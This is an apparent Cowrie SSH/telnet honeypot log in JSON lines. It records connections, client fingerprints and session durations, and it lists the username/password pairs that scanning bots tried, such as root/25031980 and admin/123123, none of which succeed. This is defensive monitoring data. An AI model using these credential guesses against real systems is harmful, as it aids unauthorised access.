{"eventid":"cowrie.login.failed","username":"rk","password":"rk@123","message":"login attempt [rk/rk@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:37.838637Z","src_ip":"182.93.50.90","session":"65bae9b92cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:39.055679Z","src_ip":"182.93.50.90","session":"65bae9b92cc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":43016,"dst_ip":"159.203.135.109","dst_port":22,"session":"74c6220ed5c2","protocol":"ssh","message":"New connection: 209.227.244.120:43016 (159.203.135.109:22) [session: 74c6220ed5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:40.567138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:40.571613Z","src_ip":"209.227.244.120","session":"74c6220ed5c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:40.659042Z","src_ip":"209.227.244.120","session":"74c6220ed5c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dublin","password":"dublin123","message":"login attempt [dublin/dublin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:41.046530Z","src_ip":"209.227.244.120","session":"74c6220ed5c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:42.137051Z","src_ip":"209.227.244.120","session":"74c6220ed5c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"75be9ae566fb","protocol":"telnet","message":"New connection: 172.81.62.90:39270 (159.203.135.109:23) [session: 75be9ae566fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:50.770021Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":45114,"dst_ip":"10.17.0.5","dst_port":22,"session":"e10d326d4260","protocol":"ssh","message":"New connection: 34.100.248.63:45114 (10.17.0.5:22) [session: e10d326d4260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:59.521535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:59.535062Z","src_ip":"34.100.248.63","session":"e10d326d4260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:50:59.794144Z","src_ip":"34.100.248.63","session":"e10d326d4260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"doska","password":"123456","message":"login attempt [doska/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:00.786842Z","src_ip":"34.100.248.63","session":"e10d326d4260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39290,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ab79d1a65f","protocol":"telnet","message":"New connection: 172.81.62.90:39290 (159.203.135.109:23) [session: 90ab79d1a65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:00.864260Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:02.044087Z","src_ip":"34.100.248.63","session":"e10d326d4260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54180,"dst_ip":"159.203.135.109","dst_port":23,"session":"72bbe4b3fee5","protocol":"telnet","message":"New connection: 128.199.8.54:54180 (159.203.135.109:23) [session: 72bbe4b3fee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:05.296052Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":36424,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9df567cc6d7","protocol":"ssh","message":"New connection: 103.27.238.116:36424 (10.17.0.5:22) [session: a9df567cc6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:08.209974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:08.216393Z","src_ip":"103.27.238.116","session":"a9df567cc6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:08.490815Z","src_ip":"103.27.238.116","session":"a9df567cc6d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:09.321550Z","src_ip":"103.27.238.116","session":"a9df567cc6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:10.597229Z","src_ip":"103.27.238.116","session":"a9df567cc6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.198906898498535,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:30.968824Z","src_ip":"172.81.62.90","session":"75be9ae566fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.417279958724976,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:33.281318Z","src_ip":"172.81.62.90","session":"90ab79d1a65f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48456,"dst_ip":"159.203.135.109","dst_port":23,"session":"7190b7f2190c","protocol":"telnet","message":"New connection: 128.199.8.54:48456 (159.203.135.109:23) [session: 7190b7f2190c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:44.509938Z"}
{"eventid":"cowrie.session.closed","duration":43.415449142456055,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:48.711372Z","src_ip":"128.199.8.54","session":"72bbe4b3fee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43490,"dst_ip":"159.203.135.109","dst_port":22,"session":"08e5ebc4fe05","protocol":"ssh","message":"New connection: 91.92.40.4:43490 (159.203.135.109:22) [session: 08e5ebc4fe05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:51.057083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:51.093701Z","src_ip":"91.92.40.4","session":"08e5ebc4fe05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:51.189053Z","src_ip":"91.92.40.4","session":"08e5ebc4fe05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:51.886534Z","src_ip":"91.92.40.4","session":"08e5ebc4fe05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:51:53.121667Z","src_ip":"91.92.40.4","session":"08e5ebc4fe05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":37278,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6d212cf341","protocol":"ssh","message":"New connection: 209.227.244.120:37278 (159.203.135.109:22) [session: fc6d212cf341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:52:11.406430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:52:11.409428Z","src_ip":"209.227.244.120","session":"fc6d212cf341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:52:11.497285Z","src_ip":"209.227.244.120","session":"fc6d212cf341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apollo","password":"apollo","message":"login attempt [apollo/apollo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:52:11.887039Z","src_ip":"209.227.244.120","session":"fc6d212cf341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:52:12.977786Z","src_ip":"209.227.244.120","session":"fc6d212cf341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.13445591926575,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:52:44.644306Z","src_ip":"128.199.8.54","session":"7190b7f2190c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":46685,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f78823fa183","protocol":"ssh","message":"New connection: 178.20.210.208:46685 (159.203.135.109:22) [session: 2f78823fa183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:01.171650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:01.175692Z","src_ip":"178.20.210.208","session":"2f78823fa183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:01.278019Z","src_ip":"178.20.210.208","session":"2f78823fa183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"password1","message":"login attempt [test1/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:01.681031Z","src_ip":"178.20.210.208","session":"2f78823fa183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":37130,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d376741bd85","protocol":"ssh","message":"New connection: 147.45.199.80:37130 (10.17.0.5:22) [session: 7d376741bd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:02.363224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:02.367341Z","src_ip":"147.45.199.80","session":"7d376741bd85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:02.480003Z","src_ip":"147.45.199.80","session":"7d376741bd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42354,"dst_ip":"159.203.135.109","dst_port":23,"session":"b93772e33b5b","protocol":"telnet","message":"New connection: 172.81.62.90:42354 (159.203.135.109:23) [session: b93772e33b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:02.739166Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"25031980","message":"login attempt [root/25031980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:02.767018Z","src_ip":"147.45.199.80","session":"7d376741bd85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:02.785717Z","src_ip":"178.20.210.208","session":"2f78823fa183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:03.863923Z","src_ip":"147.45.199.80","session":"7d376741bd85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":53690,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1656245d2b6","protocol":"ssh","message":"New connection: 34.100.248.63:53690 (10.17.0.5:22) [session: b1656245d2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:08.771544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:53:08.788211Z","src_ip":"34.100.248.63","session":"b1656245d2b6","protocol":"ssh"}
